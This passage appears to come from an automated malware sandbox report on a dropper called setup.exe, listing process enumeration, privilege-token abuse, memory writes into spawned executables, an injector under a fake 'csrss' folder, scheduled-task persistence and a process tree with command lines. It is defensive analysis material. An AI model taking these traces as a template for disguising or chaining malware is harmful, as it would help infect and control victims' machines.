30101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Token: SeImpersonatePrivilege N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\rss\csrss.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\sc.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe
PID 1808 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe
PID 1808 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe
PID 1808 wrote to memory of 2380 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe
PID 1808 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe
PID 1808 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe
PID 1808 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe
PID 1808 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe
PID 1808 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe
PID 1808 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe
PID 1808 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe
PID 1808 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe
PID 1808 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe
PID 1808 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe
PID 1808 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe
PID 1808 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe
PID 1808 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe
PID 1808 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe
PID 1808 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe
PID 1808 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe
PID 1808 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe
PID 1808 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe
PID 1808 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe
PID 1808 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe
PID 1808 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe
PID 1808 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe
PID 1808 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe
PID 1808 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 2532 wrote to memory of 1764 N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp
PID 1764 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe
PID 1764 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe
PID 1764 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe
PID 1764 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2088 wrote to memory of 2256 N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe
PID 2256 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe
PID 2256 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe
PID 2256 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe
PID 2256 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe
PID 2256 wrote to memory of 2576 N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe

C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe

C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe

C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe

C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe

C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe

C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe

C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe

C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe

C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe

C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe

C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe

C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe

C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe

C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe

C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe

C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe

C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe

C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp

"C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp" /SL5="$60144,4107979,54272,C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe"

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

"C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe" -i

C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe

.\Install.exe /mGKCedidCE "525403" /S

C:\Windows\SysWOW64\cmd.exe

